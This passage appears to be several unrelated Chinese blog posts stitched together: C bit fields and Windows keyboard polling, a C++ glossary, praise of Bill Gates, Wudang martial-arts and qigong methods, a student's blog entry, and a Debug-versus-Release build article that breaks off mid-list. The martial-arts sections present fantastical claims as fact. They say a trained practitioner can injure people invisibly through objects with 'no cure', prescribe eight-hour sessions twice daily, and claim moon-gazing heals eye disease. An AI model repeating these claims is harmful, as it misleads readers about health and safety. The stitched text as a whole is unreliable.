
          00000011     -   b   >>   2  

   

  译注:以上示例都对,但举例用法未必恰当。请阅文末链接的文章,解释得较为清楚。  

   

  位域(Bit   Field)  

 位操作中的一件有意义的事是位域。利用位域可以用BYTE,   WORD或DWORD来创建最小化的数据结构。例如要保存日期数据,并尽可能减少内存占用,就可以声明这样的结构:  

   

  struct   date_struct   {  

          BYTE       day       :   5,       //   1   to   31  

                        month   :   4,       //   1   to   12  

                        year     :   14;     //   0   to   9999  

          }date;  

           

  在结构中,日期数据占用最低5位,月份占用4位,年占用14位。这样整个日期数据只需占用23位,即3个字节。忽略第24位。如果用整数来表达各个域,整个结构要占用12个字节。  

   

  |   0   0   0   0   0   0   0   0   |   0   0   0   0   0   0   0   0   |   0   0   0   0   0   0   0   0   |  

        |                                                           |                   |                     |  

        +————-   year   ————–+   month+–   day   –+  

   

  现在分别看看在这个结构声明中发生了什么  

   

  首先看一下位域结构使用的数据类型。这里用的是BYTE。1个BYTE有8个位,编译器将分配1个BYTE的内存。如果结构内的数据超过8位,编译器就再分配1个BYTE,直到满足数据要求。如果用WORD或DWORD作结构的数据类型,编译器就分配一个完整的32位内存给结构。  

   

  其次看一下域声明。变量(day,   month,   year)名跟随一个冒号,冒号后是变量占用的位数。位域之间用逗号分隔,用分号结束。  

   

  使用了位域结构,就可以方便地象处理普通结构数据那样处理成员数据。尽管我们无法得到位域的地址,却可以使用结构地址。例如:  

  date.day   =   12;  

  dateptr   =   &date;  

  dateptr->year   =   1852;

PC平台上的单键异步调用.这个调用是WINDOWS特定的, 在WIN32 API中,其语法如下:

 short GetAsyncKeyState(int Keycode);

下面的例子是检查左SHIFT键是否按下:

 if(GetAsyncKeyState(VK_LSHIFT))

 {

 //whatever

 }


注意:由于调用的性质,可以检查多个值.下一个例子测试左SHIFT键与RETURN键的组合:

 if(GetAsyncKeyState(VK_LSHIFT) && GetAsyncKeyState(VK_RETURN))

 {

 //whatever

 }


可以看出,每个键测试要一个系统调用,如果系统要检查大量键,则非常麻烦.试比较这个调用与整个键盘的检查,后者可以用下列调用完成:

 bool GetKeyboardState(PBYTE *lpKeyState);

这里只编码函数成功的结果,结果以引用传递的数组形式返回. 这样,下面的连续检查进行各个测试时, 只是查找数组而已.

 if(keystate[VK_RSHIFT])

 {

 //whatever

 }

1.保留字


  C++中,保留字也称关键字,它是预先定义好的标识符。见关键字的解释。


2.关键字


  C++中已经被系统定义为特殊含义的一类标识符。C++中的关键字有:


http://school.ogdev.net/upload/img/5255642824.gif


3.标识符


  对变量、函数、标号和其它各种用户自定义对象的命名。在C++中,标识符长度没有限制,第一个字符必须是字母或下划线,其后若有字符则必须为字母、数字或下划线。例如count2,_x是正确的标识符形式,而hello!,3th则是错误的。在C++中标识符区分大小写,另外标识符不能和C++中的关键字相同,也不能和函数同名。


  4.声明


  将一个标识符引入一个作用域,此标识符必须指明类型,如果同时指定了它所代表的实体,则声明也是定义。


  5.定义


  给所声明的标识符指定所代表的实体。


  6.变量


  某个作用域范围内的命名对象。


  7.常量


  常量是不接受程序修改的固定值,可以是任意数据类型。可以用后缀准确的描述所期望的常量类型,如浮点类型常量在数字后加F,无符号整型常量加后缀U等等。此外还有串常量如”Please input year:”,反斜线字符常量如\n表示回车符。


  8. const说明符


  const是在变量声明或函数声明时所用到的一个修饰符,用它所修饰的实体具有只读属性。


  9. 输入


  当程序需要执行键盘输入时,可以使用抽取操作付”>>”从cin输入流中抽取字符。如:


  int myAge;


  cin >> myAge;


  10.输出


  当程序需要在屏幕上显示输出时,可以使用插入操作符”<<”向cout 输出流中插入字符。如:


  cout << “This is a program. \n “;


  11.流


  流是既产生信息又消费信息的逻辑设备,通过C++系统和物理设备关联。C++的I/O系统是通过流操作的。有两种类型的流:文本流,二进制流。


  12.标准输入输出库


  它是C++标准库的组成部分,为C++语言提供了输入输出的能力。


  13.内置数据类型


  由C++直接提供的类型,包括int、float、double、char 、bool、指针、数组和引用。


  14.字符类型


  包括 char、signed char、unsigned char三种类型。


  15.整数类型


  包括 short、 int、long 三种类型。


  16.long


  只能修饰 int , double.


  long int 指一种整数类型,它的长度大于等于int型.


  long double 指长双精度类型,长度大于等于double型。


  17.short


  一种长度少于或等于int型的整数类型。


  18.signed


  由它所修饰的类型是带符号的. 只能修饰 int 和 char .


  19.布尔型


  一种数据类型,其值可为:true, false 两种。


  20.浮点类型


  包括float, double , long double 三种类型。其典型特征表现为有尾数或指数。


  21.双精度类型


  浮点类型中的一种。在基本数据类型中它是精度最高,表示范围最大的一种数据类型。


  22.void类型


  关键字之一,指示没有返回信息。


  23.结构类型


  类的一种,其成员默认为public型。大多用作无成员函数的数据结构。


  24.枚举类型


  一种用户自定义类型,由用户定义的值的集合组成。


  25.类型转换


  一种数据类型转换为另一种,包括显式,隐式两种方式。


  26.指针


  一个保存地址或0的对象。


  27. 函数指针


  每个函数都有地址,指向函数地址的指针称为函数指针,函数指针指向代码区中的某个函数,通过函数指针可以调用相应的函数。其定义形式为:


  int ( * func ) ( char a, char b);


  28.引用


  为一个对象或函数提供的另一个名字。


  29.链表


  一种数据结构,由一个个有序的结点组成,每个结点都是相同类型的结构,每个结点都有一个指针成员指向下一个结点。


  30.数组


  数组是一个由若干同类型变量组成的集合。


  31.字符串


  标准库中的一种数据类型,一些常用操作符如+=,==支持其操作。


  32.运算符


  内置的操作常用符号,例如+,* ,& 等。


  33.单目运算符


  只能对一个操作数进行操作


  34.双目运算符


  可对两个操作数进行操作


  35.三目运算符


  可对三个操作数进行操作


  36.算术运算符


  执行算术操作的运算符,包括:+,-,*,/,%。


  37.条件运算符


  即”?: “ 。


  其语法为:


  (条件表达式)?(条件为真时的表达式):(条件为假时的表达式)


  如:x = a < b ? a : b;


  相当于:


  if ( a < b)


  x = a;


  else


  x = b;


  38.赋值运算符


  即:” = “及其扩展赋值运算符


  39.左值


  能出现在赋值表达式左边的表达式。


  40.右值


  能出现在赋值表达式右边的表达式。


  41.运算符的结合性


  指表达式中出现同等优先级的操作符时该先做哪个的规定。


  42.位运算符


  “ & “,” | “ , “ ^ “,” >> “,” << “


  43.逗号运算符


  即” , “


  44.逻辑运算符


  “ && “, “ || “ ,” ! “


  45.关系运算符


  “>”,”>=”,”<=”,”< “,” <= “,”== “


  46.new运算符


  对象创建的操作符。


  47.delete运算符


  对象释放操作符,触发析构函数。


  48.内存泄露


  操作堆内存时,如果分配了内存,就有责任回收它,否则这块内存就无法重新使用,称为内存泄漏。


  49.sizeof运算符


  获得对象在内存中的长度,以字节为单位。


  50.表达式


  由操作符和标识符组合而成,产生一个新的值。


  51.算术表达式


  用算术运算符和括号将运算对象(也称操作数)连接起来,符合C++语法规则的式子。


  52.关系表达式


  用关系运算符和括号将运算对象(也称操作数)连接起来,符合C++语法规则的式子。


  53.逻辑表达式


  用逻辑运算符和括号将运算对象(也称操作数)连接起来,符合C++语法规则的式子。


  54.赋值表达式


  由赋值运算符将一个变量和一个表达式连接起来,符合C++语法规则的式子。


  55.逗号表达式


  由逗号操作符将几个表达式连接起来,符合C++语法规则的式子。


  56.条件表达式


  由条件运算符将运算对象连接起来,符合C++语法规则的式子。


  57.语句


  在函数中控制程序流程执行的基本单位,如if语句,while语句,switch语句, do语句, 表达式语句等。


  58.复合语句


  封闭于大括号{}内的语句序列。


  59.循环语句


  for 语句, while 语句, do 语句三种。


  60.条件语句


  基于某一条件在两个选项中选择其一的语句称为条件语句。

  61.成员函数


  在类中说明的函数称为成员函数。


  62.全局函数


  定义在所有类之外的函数。


  63.main函数


  由系统自动调用开始执行C++程序的第一个函数


  64.外部函数


  在定义函数时,如果冠以关键字extern,表示此函数是外部函数。


  65.内联函数


  在函数前加上关键字inline说明了一个内联函数,这使一个函数在程序行里进行代码扩展而不被调用。这样的好处是减少了函数调用的开销,产生较快的执行速度。但是由于重复编码会产生较长代码,所以内联函数通常都非常小。如果一个函数在类说明中定义,则将自动转换成内联函数而无需用inline说明。


  66.函数重载


  在同一作用域范围内,相同的函数名通过不同的参数类型或参数个数可以定义几个函数,编译时编译器能够识别实参的个数和类型来决定该调用哪个具体函数。需要注意的是,如果两个函数仅仅返回类型不同,则编译时将会出错,因为返回类型不足以提供足够的信息以使编译程序判断该使用哪个函数。所以函数重载时必须是参数类型或者数量不同。


  67.函数覆盖


  对基类中的虚函数,派生类以相同的函数名及参数重新实现之。


  68.函数声明


  在C++中,函数声明就是函数原型,它是一条程序语句,即它必须以分号结束。它有函数返回类型,函数名和参数构成,形式为:


  返回类型 function (参数表);


  参数表包含所有参数的数据类型,参数之间用逗号分开。如下函数声明都是合法的。


  int Area(int length , int width ) ;


  或 int Area ( int , int ) ;


  69.函数定义


  函数定义与函数声明相对应,指函数的具体实现,即包括函数体。如:


  int Area( int length , int width )


  {


  // other program statement


  }


  70.函数调用


  指定被调用函数的名字和调用函数所需的信息(参数)。


  71.函数名


  与函数体相对,函数调用时引用之


  72.函数类型


  (1) 获取函数并返回值。


  (2) 获取函数但不返回值。


  (3) 没有获取参数但返回值。


  (4) 没有获取参数也不返回值。


  73.形式参数


  函数中需要使用变元时,将在函数定义时说明需要接受的变元,这些变元称为形式参数。形式参数对应于函数定义时的参数说明。其使用与局部变量类似。


  74.实际参数


  当需要调用函数时,对应该函数需要的变元所给出的数据称为实际参数。


  75.值传递


  函数调用时形参仅得到实参的值,调用结果不会改变实参的值。


  76.引用传递


  函数调用时形参为实参的引用,调用结果会改变实参的值。


  77.递归


  函数的自我调用称为递归。每次调用是应该有不同的参数,这样递归才能终止。


  78.函数体


  与函数名相对,指函数最外边由{}括起来的部分。


  79.作用域


  指标识符在程序中有效的范围,与声明位置有关,作用域开始于标识符的生命处。分:局部作用域,函数作用域,函数原型作用域,文件作用域,类作用域。


  80.局部作用域


  当标识符的声明出现在由一对花括号所括起来的一段程序内时,该标示符的作用域从声明点开始到块结束处为止,此作用域的范围具有局部性。


  81.全局作用域


  标识符的声明出现在函数,类之外,具有全局性。


  82.类作用域


  指类定义和相应的成员函数定义范围。


  83.全局变量


  定义在任何函数之外,可以被任一模块使用,在整个程序执行期间保持有效。当几个函数要共享同一数据时全局变量将十分有效,但是使用全局变量是有一定弊端的:全局变量将在整个程序执行期间占有执行空间,即使它只在少数时间被用到;大量使用全局变量将导致程序混乱,特别是在程序较复杂时可能引起错误。


  84.局部变量


  定义在函数内部的变量。局部变量只在定义它的模块内部起作用,当该段代码结束,这个变量就不存在了。也就是说一个局部变量的生命期就是它所在的代码块的执行期,而当这段代码再次被执行时该局部变量将重新被初始化而不会保持上一次的值。需要注意的是,如果主程序和它的一个函数有重名的变量,当函数被调用时这个变量名只代表当前函数中的变量,而不会影响主程序中的同名变量。


  85.自动变量


  由auto修饰,动态分配存储空间,存储在动态存储区中,对他们分配和释放存储空间的工作是由编译系统自动处理的。


  86.寄存器变量


  存储在运算器中的寄存器里的变量,可提高执行效率。


  87.静态变量


  由连接器分配在静态内存中的变量。


  88.类


  一种用户自定义类型,有成员数据,成员函数,成员常量,成员类型组成。类是描叙C++概念的三个基本机制之一。


  89.外部变量


  由extern修饰的变量


  90.堆


  即自由存储区,new 和delete 都是在这里分配和释放内存块。


  91.栈


  有两个含义:(1)指内存中为函数维护局部变量的区域。(2)指先进后处的序列。


  92.抽象类


  至少包含一个纯虚函数的类。抽象类不能创建对象,但可以创建指向抽象类的指针,多态机制将根据基类指针选择相应的虚函数。


  93.嵌套类


  在一个类里可以定义另一个类,被嵌入类只在定义它的类的作用域里有效。


  94.局部类


  在函数中定义的类。注意在函数外这个局部类是不可知的。由于局部类的说明有很多限制,所以并不常见。


  95.基类


  被继承的类称为基类,又称父类、超类或范化类。它是一些共有特性的集合,可以有其它类继承它,这些类只增加它们独有的特性。


  96.派生类


  继承的类称为派生类。派生类可以用来作为另一个派生类的基类,实现多重继承。一个派生类也可以有两个或两个以上的基类。定义时在类名后加”:被继承类名”即可。


  97.父类


  即基类。见95基类的解释。


  98.子类


  即派生类。见96派生类的解释。


  99.对象


  有两重含义:


  1. 内存中含有某种数据类型值的邻近的区域。


  2. 某种数据类型的命名的或未命名的变量。一个拥有构造函数的类型对象在构造函数完成构造之前不能认为是一个对象,在析构函数完成析构以后也不再认为它是一个对象。


  100. 数据成员


  指类中存储数据的变量。


  101.实例化


  即建立类的一个对象。


  102.构造函数


  是一个类的实例的初始化函数,将在生成类的实例时被自动调用,用于完成预先的初始化工作。一个类可以有几个构造函数,以不同的参数来区别,即构造函数可以被重载,以便不同的情况下产生不同的初始化;也可以没有构造函数,此时系统将调用缺省的空构造函数。需要注意的是构造函数没有返回类型。


  103.成员初始化表


  成员初始化表可用于初始化类中的任何数据成员,放在构造函数头与构造函数体之间,用”:”与构造函数头分开,被初始化的数据成员的值出现在一对括弧之间,它们之间用逗号分开。


  104.析构函数


  是一个类的实例的回收函数,将在该实例结束使用前被自动调用,用于完成资源的释放。一个类只可以有一个析构函数,当析构函数执行后,该实例将不复存在。析构函数同样没有返回值。


  105.虚析构函数


  由virtual 修饰的析构函数,当用基类指针释放派生类对象时可根据它所指向的派生类对象释放准确的对象。


  106.继承


  面向对象的程序设计语言的特点之一。即一个对象获得另一个对象的特性的过程。如将公共属性和服务放到基类中,而它的各派生类除了有各自的特有属性和服务外还可以共享基类的公共属性和服务。这样的好处是容易建立体系,增强代码重复性。


  107.单继承


  一个派生类只有一个基类,成为单继承。


  108.重继承


  一个派生类拥有多个基类,成为多继承。


  109.虚函数


  在基类中说明为virtual并在派生类中重定义的函数。重定义将忽略基类中的函数定义,指明了函数执行的实际操作。当一个基类指针指向包含虚函数的派生对象时,C++将根据指针指向的对象类型来决定调用哪一个函数,实现了运行时的多态性。这里的重定义类似于函数重载,不同的是重定义的虚函数的原型必须和基类中指定的函数原型完全匹配。构造函数不能是虚函数,而析构函数则可以是。


  110.纯虚函数


  在基类中只有声明没有实现的虚函数。形式为:


  virtual type funname(paralist)=0。这时基函数只提供派生类使用的接口,任何类要使用必须给出自己的定义。


  111.多态性


  给不同类型的实体提供单一接口。虚函数通过基类接口实现动态多态性,重载函数和模板提供了静态多态性。


  112.复制构造函数


  以自身类对象为参数的构造函数,如Z::Z(const Z&). 用在同类对象间进行初始化。


  113.运算符重载


  C++中可以重载双目(如+,×等)和单目(如++)操作符,这样可以使用户像使用基本数据类型那样对自定义类型(类)的变量进行操作,增强了程序的可读性。当一个运算符被重载后,它将具有和某个类相关的含义,同时仍将保持原有含义。


  114.静态成员函数


  成员函数通过前面加static说明为静态的,但是静态成员函数只能存取类的其他静态成员,而且没有this指针。静态成员函数可以用来在创建对象前预初始化专有的静态数据。


  115.静态成员变量


  在成员变量之前加static关键字将使该变量称为静态成员变量,该类所有的对象将共享这个变量的同一拷贝。当对象创建时,所有静态变量只能被初始化为0。使用静态成员变量可以取代全局变量,因为全局变量是违背面向对象的程序设计的封装性的。


  116.私有成员


  只能由自身类访问的成员。


  117.保护成员


  只能由自身类及其派生类访问的成员。


  118.友元


  被某类明确授权可访问其成员的函数和类。


  119.友元函数


  在函数前加上关键字friend即说明了一个友元函数,友元函数可以存取类的所有私有和保护成员。友元在重载运算符时有时是很有用的。


  120.友元类


  被某类明确授权可访问其成员的类


  121.例外处理


  报告局部无法处理某错误的基本方式。由try., throw , catch组成。


  122.文件


  是用于从磁盘文件到终端或打印机的任何东西。流通过完成打开操作与某文件建立联系。

本周看到报道,比尔·盖茨先生今年7月1日就要从微软退休了。今后盖茨先生将专注于慈善事业。其实,以我们中国的标准,这不能算退休,而只是人生的转轨。

盖茨先生的转轨确实是一件重要的标志性事件,因为盖茨先生是我们这个时代的代表性人物。盖茨先生自创立微软公司以来的不懈努力,不仅造就了一家伟大的公司,而且改写了人类文明的进程,对人类进步产生了深远的影响。从这个意义上看,我们应该承认,比尔·盖茨是一位伟人。

人类文明归根到底可分为两大范畴:物质文明和信息文明。前者是通过外力扩充肌肉创造文明,后者是通过外力扩充大脑创造文明;前者通过农业革命和工业革命成就了今天的物质文明,后者通过信息革命形成了人类社会当今的信息文明。传统经济是物质文明的经济形态,知识经济或新经济是信息文明特有的经济形态。

粗略地看,我们可以把信息产业划分为硬件和软件两大产业群。硬件业是知识经济的基石,但还不是知识经济本身,至多是传统经济与知识经济的过渡地带。但不论以何种标准,软件业都是纯粹的知识经济的产业形态了。

盖茨先生虽然不是软件的创造者,但他是软件产业之父。在他创立微软公司之前,软件只是硬件的附属部分。是盖茨先生使软件的版权概念得以确立,使软件实现了商品化。以先生创立的微软公司和微软公司的以Windows为核心所形成的巨大的产业生态群落,差不多就是当今软件产业的全部了。从这个意义上看,盖茨先生是创立知识经济群贤中最为重要的一位。

信息文明不仅改变了人类社会的经济形态,也深刻地改变了我们的文化形态。

对于我们每个人,Windows不仅仅是一种技术产品,它是我们的生活方式,是全世界人们所共同的生活方式,就和我们用自来水、用电一样。

Windows和其上各种软件的图标是世界各民族共同的当代象形文字,其中的菜单,比如Save、Delete等是世界各民族共同的概念,而点击、拖拽等则是世界各民族共同的动作。在Windows面前,不论讲何种语言,不论来自哪个国家,不论是何种宗教信仰,也不论是白领还是蓝领,人们都彼此心领神会,一目了然。

在人类漫长的文明史中,地理、语言、宗教、气候等因素把人类区隔成不同的族群。从这个意义上看,Windows其实是建立了一种世界通用的语境,使人类得以进入全新的信息文明。我们甚至可以这样讲:Windows是全球化的人类信息文明的起点和基石。

非常有趣,盖茨先生似乎拥有一种略显迟钝的巨大能量。先生不是Basic语言、操作系统、图形用户界面和浏览器的发明者,但这些发明到了他的手里,就改变了世界。

在人类5000年历史的伟人谱中有过盖茨这样的人吗?他像孔夫子、柏拉图吗?不像。像亚历山大、凯撒吗?不像。像瓦特、珍妮吗?不像。像福特、松下幸之助吗?不像,都不像。

也许,盖茨先生对人类的贡献要由后人评说。但是不管后人如何品评,有一点我们今天就可以断定:比尔·盖茨先生是一位伟人。

大力鹰爪功属武当内家拳功法之一。用于技击,威力倍增。此功分三个阶段和三个不同的境界。
第一阶段:刚练鹰爪力

用两个小口之坛(重量以能够提得起,稍加一毫则不能为度),以五爪捏住提起,提至同肩高,双手两边分开成水平线伸直。凝神敛气于丹田,缓缓地、均匀地呼吸,同时兼练弓步、马步等步法的转换。初肘必气喘力疲不能持久,行功日久则不觉费力,且可坚持至半个小时不喘不汗。此后每隔一段时间便加入一斤铁屑或沙石,不可贪多,待可持半时之久时,再加铁屑,直至连坛带铣屑重25公斤止。轻若拈羽,历久不觉其苦,第一段方为成功。此时指力精绝,看于人身,鲜有不折者矣。
此段功夫要循序渐迸,精疲力尽时,要略事休息,调息数口,待心平气静再继续练功。不能勉强支撑,以防岔气伤身,得不偿失。每天朝夕两次,每次8小时。练成第一阶段大约需二至三年光景。
第二阶段:柔练鹰爪力

两脚分开约二尺宽,身形下蹲,人腿成水平状,百会穴与会阴穴连成一线,双手轻握,手心向上置于腰间,全身放松,平心静气,聚鹤凝神。一手五指分开,指掌分劲,掌心内凹,虎口圆撑,似掌似爪,似抓一大皮球,缓援地向前用内劲(手臂肌肉紧张)内旋成手心向前下方伸出,略高于心口,同时缓缓地吸气。意念爪指似粘上一物,就在一念瞬间,口中吐气发音发出短促的“嘿”字音,由抓球手势变成内扣成爪手势快速地拉回至腰间成爪心向上之势。在意念上有拉千斤之感,且有捏碎坚硬之物之势。吐气发音的同时,神情要为之一颤,十趾牢抓地面如入地生根般。吐气后,身体要有短暂的放松,同时呼出余气,手成轻握势如初。接着换手伸出拉回,先右手后左手,缓伸快拉。练功次数不限,视精力预定。
艺术中国 http://www.artx.cn/
此段功夫要注意手臂不可伸直,肘要略曲,肘尖外撑。吐气发音不可断喝。这一阶段是由实八虚,由阳刚之劲转化为阴柔之劲阶段。

第三阶段:空练鹰爪力
第三阶段较前两阶段为难,此段功夫纯以凭空得劲。此段功夫最忌用力,要全身放松,一伸一收皆要缓缓行之。

早晨向日,夜晚对月。伸张手指凭空撕抓,伸出之手敛气于爪罩住日月,收回之手将日月之气纳入丹田。

此段功夫成就,可以发阴柔之劲隔物伤人于无形之间,受击之人阴寒之气透入骨髓中,无药可救。练此功者,可敛气于掌控制负有阴阳两气之物。但学练此功且忌存伤天害理之邪念,否则会受天道惩罚。

若习武当派古传太极睡功秘法者,不拘于日间及夜间,或一阳来复之时,叩齿三十六通,以集身中诸神。然后松宽衣带面侧卧。闭目垂帘,舌抵上腭,并膝收一足。十指如钩,一手掐子午诀,掩生门脐,一手握剑诀,屈肱而枕之。以眼对鼻,鼻对生门,合齿,心目内观。要如鹿之运督,鹤之养胎,龟之喘息。要虚静自心,勿为一毫虑念所扰,绵绵呼吸,默默行持,以至虚极静笃。 

    至人之睡,留藏全息,饮纳玉液,金门牢而不可开,土户闭而不可户。苍龙守乎青宫,素龙伏于西室。真气运转于丹池,神水循环乎五内。呼甲丁以直其时,召百灵以卫其室,然后吾神出乎九宫,恣游青碧。履虚如履实,升上若就下,冉冉与祥风遨游,飘飘其闲云出没,坐甚昆仑紫府,遍履福地洞天。咀日月之精华,观烟霞之绝景,访真人问方外之理,期仙学为异域之游。看沧海以成尘,提阴阳而舒啸。兴索欲返,则足蹑清风,身浮落景。故其睡也,不知岁月之迁移。 

    古传之睡功之法,用五龙蟠体之形,面南背北,首东足西,侧身而卧。左掌劳宫穴紧贴左耳(劳功穴为心经窍穴,耳为肾之外窍),右手劳宫穴贴于腹部神阙穴,神阙穴亦是肾经之俞穴。如是,上下皆致心肾相交。右足微伸,左足卷曲,置于右足之上。息念(呼吸与意念)注于神阙,以神阙吸气,毛孔呼气,乃至人之息深深,无声之中独闻知也。静察出人之息,有声则听,无声则守,不即不离,如疏雨滴梧桐,有意无意,如微云浇河汉。寄心于耳,寄耳于息,心息相依渐人心息两忘。至于大定之境,及至静极而动,恍然一阳生,蒸薰如醉,睡功之大成也。

武当乾坤闪电手属武当乾坤门至精至纯至秘之论技神手,历来单纯秘传,唯历代掌门人方见其神端。
一 移精练丹。
子时,面北盘坐;眼微闭,嘴虚合,全身放松,双手掌心朝上,掌心含空,双手大拇指尖轻扣中指尖放之双膝上,注听内息。自然呼吸。意念:吸气时,大自然之精气由五心吸进下丹田。充满下丹田。成球状。呼气时小腹微收,下丹田之气横向流向命门穴,如此反复练习30分钟。
二 神龙入穴。
自然站立,双脚分开与肩同宽,上身正直,双手自然下垂,双膝微屈,深呼吸三次,鼻呼鼻吸,然后吸气,双手屈时约为90度缓缓提起,掌心相对,掌指朝前提至膻中穴处,双掌距离约为五寸,此时,全身放松。接着双手手指猛然用爆发力向前空插。意念双手手指插入大山之中。同时配合发声、喷气(用嘴)发“嗨”声。双手还原,如此反复练习15分钟。
三 仙鹤抖翅
自然站立,要领同前。吸气轻提双手,当双掌平齐到脸前时接着同时配合嘴发声,喷气双手向前侧猛力快速抖甩。然后还原,如此反复练习15分钟。意念双手推倒两侧大山。
四 双龙戏水
接上式,自然站立,吸气轻提双手,当双手平齐到膻中穴时,双掌变掌心向下朝下快速猛力抖拍,口喷气发“嗨”音,同时双腿随手下击时蹲成马步状。然后还原。如此反复练习15分钟。意念双手内气(劳宫穴释放)将两根木桩拍入地层中。

武当观月功,又称观月练眼功,其功以练眼为主,而又有强身建体之妙。尤其技击者长期坚持练习此功,可达到眼观六路之神效。
   相传,武当观月功系清末民初武当山一道长所传。由于当时教拳授功极严,故练者甚少。今将武当观月功公诸于世,以供同道练习。
   武当观月功的具体做法是:选一空旷、寂静之地,臀下坐一软垫,两膝弯曲约成九十五度,两脚尖翘起,屈肘,两小臂交叉重叠,左手掌扶在右肘上;右手扶在左肘上,两肘尖落于两膝盖上,面对温柔的圆月而坐,抬头以望见月亮为准。
   初练时,两眼微闭而不眨,随着练功时间增长,慢慢地双眼圆睁,但不可过于用力,要尽量放松,直至眼睛不眨。而后,眼睛转动观望月亮,练至三十余天,可达到双眼圆睁观望物体数分钟或一小时左右而不眨,此功放告成功。这时看人,可使人望而生畏。与坏人作斗争,以审敌之势,可使敌惧怕三分。
   习练此功采用自然呼吸。观月时,思想集中,意想月亮会出现许多美妙的幻景。这样,自然心情舒畅。故此功可促进身心健康,消除疲劳及忧伤,而又有助于技击。
   练习武当观月功,以每年的八至十月为最佳时节,每晚八点左右开始,练止月落。习练者要随月走而不时变换方向,不可扭头望月。注意大风天,天气冷和患有严重眼疾者不宜习练此功,但患眼疾不严重者不但可练,而且可以治眼疾。

 中国教育的发展问题真是不容乐观,不管是什么样的学生在全班前十名的学生都会被培养成社会的垃圾。
 我们班刚刚入学时有一个女生,入学成绩相当优秀,不骂人.不打架.学期刻苦......
 但是,不知不觉却很班上的一男同学交上“朋友”。
这并没有影响他们的学习,女孩子的成绩是越学越好,男孩虽然是差生,在女生的帮助之下成绩有了很大的提高。
可是到后来,班主任知道了他们在交往,于是就找他们谈话,还强迫着,把家长找来当面谈。
而且家长用生硬的态度来教育孩子,可视这根本不会奏效。
越是教育,女孩子的逆反心理就越强。
最终,导致学生的逃课.旷课.逃学.迟到.早退......
骂人.打架.顶撞老师.....
这些我们都习以为常了。
女孩以前和我的关系非常好,我们似乎每天都会粘在一起,说知心话。
到了后来,她和一个转班生天天混在一起,不上学,逃课.
而且,性格变得古怪,尖酸刻薄,坏.....
 
 
有一次,她找我出来谈心。
我觉得她不仅是孤单,而且内心空虚。
她最大的愿望就是给妈妈买大房子。
我听到这里,我被它融化了,她不是没有人性
而是被社会磨合了,被我们隔离了
是我们把丛众人中退了出去。
 
她现在每天都和不良学生混在一起
本是可以上重点高中的学生,她却选择了中专。
 
我很多次走路的时,多次迷失了方向
她呢?
她倒地迷失了什么?


http://blog.sina.com.cn/s/blog_4c8bb901010008e4.html

--------------------------------------
本文主要包含如下内容:
1. Debug 和 Release 编译方式的本质区别
2. 哪些情况下 Release 版会出错
3. 怎样“调试” Release 版的程序
--------------------------------------
            关于Debug和Release之本质区别的讨论

一、Debug 和 Release 编译方式的本质区别

    Debug 通常称为调试版本,它包含调试信息,并且不作任何优化,便于程序员调试程序。Release 称为发布版本,它往往是进行了各种优化,使得程序在代码大小和运行速度上都是最优的,以便用户很好地使用。
    Debug 和 Release 的真正秘密,在于一组编译选项。下面列出了分别针对二者的选项(当然除此之外还有其他一些,如/Fd /Fo,但区别并不重要,通常他们也不会引起 Release 版错误,在此不讨论)
Debug 版本:
/MDd /MLd 或 /MTd   使用 Debug runtime library(调试版本的运行时刻函数库)
/Od                 关闭优化开关
/D "_DEBUG"         相当于 #define _DEBUG,打开编译调试代码开关(主要针对
                     assert函数)
/ZI                 创建 Edit and continue(编辑继续)数据库,这样在调试过
                     程中如果修改了源代码不需重新编译
/GZ                 可以帮助捕获内存错误
/Gm                 打开最小化重链接开关,减少链接时间
Release 版本:      
/MD /ML 或 /MT      使用发布版本的运行时刻函数库
/O1 或 /O2          优化开关,使程序最小或最快
/D "NDEBUG"         关闭条件编译调试代码开关(即不编译assert函数)
/GF                 合并重复的字符串,并将字符串常量放到只读内存,防止
                     被修改

    实际上,Debug 和 Release 并没有本质的界限,他们只是一组编译选项的集合,编译器只是按照预定的选项行动。事实上,我们甚至可以修改这些选项,从而得到优化过的调试版本或是带跟踪语句的发布版本。
二、哪些情况下 Release 版会出错

    有了上面的介绍,我们再来逐个对照这些选项看看 Release 版错误是怎样产生的
1. Runtime Library:链接哪种运行时刻函数库通常只对程序的性能产生影响。调试版本的 Runtime Library 包含了调试信息,并采用了一些保护机制以帮助发现错误,因此性能不如发布版本。编译器提供的 Runtime Library 通常很稳定,不会造成 Release 版错误;倒是由于 Debug 的 Runtime Library 加强了对错误的检测,如堆内存分配,有时会出现 Debug 有错但 Release 正常的现象。应当指出的是,如果 Debug 有错,即使 Release 正常,程序肯定是有 Bug 的,只不过可能是 Release 版的某次运行没有表现出来而已。
2. 优化:这是造成错误的主要原因,因为关闭优化时源程序基本上是直接翻译的,而打开优化后编译器会作出一系列假设。这类错误主要有以下几种:
    (1) 帧指针(Frame Pointer)省略(简称 FPO ):在函数调用过程中,所有调用信息(返回地址、参数)以及自动变量都是放在栈中的。若函数的声明与实现不同(参数、返回值、调用方式),就会产生错误————但 Debug 方式下,栈的访问通过 EBP 寄存器保存的地址实现,如果没有发生数组越界之类的错误(或是越界“不多”),函数通常能正常执行;Release 方式下,优化会省略 EBP 栈基址指针,这样通过一个全局指针访问栈就会造成返回地址错误是程序崩溃。C++ 的强类型特性能检查出大多数这样的错误,但如果用了强制类型转换,就不行了。你可以在 Release 版本中强制加入 /Oy- 编译选项来关掉帧指针省略,以确定是否此类错误。此类错误通常有:
     ● MFC 消息响应函数书写错误。正确的应为
      afx_msg LRESULT OnMessageOwn(WPARAM wparam, LPARAM lparam);
      ON_MESSAGE 宏包含强制类型转换。防止这种错误的方法之一是重定义 ON_MESSAGE 宏,把下列代码加到 stdafx.h 中(在#include "afxwin.h"之后),函数原形错误时编译会报错
      #undef ON_MESSAGE
      #define ON_MESSAGE(message, memberFxn) \
      { message, 0, 0, 0, AfxSig_lwl, \
      (AFX_PMSG)(AFX_PMSGW)(static_cast< LRESULT (AFX_MSG_CALL \
      CWnd::*)(WPARAM, LPARAM) > (&memberFxn) },
    (2) volatile 型变量:volatile 告诉编译器该变量可能被程序之外的未知方式修改(如系统、其他进程和线程)。优化程序为了使程序性能提高,常把一些变量放在寄存器中(类似于 register 关键字),而其他进程只能对该变量所在的内存进行修改,而寄存器中的值没变。如果你的程序是多线程的,或者你发现某个变量的值与预期的不符而你确信已正确的设置了,则很可能遇到这样的问题。这种错误有时会表现为程序在最快优化出错而最小优化正常。把你认为可疑的变量加上 volatile 试试。
    (3) 变量优化:优化程序会根据变量的使用情况优化变量。例如,函数中有一个未被使用的变量,在 Debug 版中它有可能掩盖一个数组越界,而在 Release 版中,这个变量很可能被优化调,此时数组越界会破坏栈中有用的数据。当然,实际的情况会比这复杂得多。与此有关的错误有:
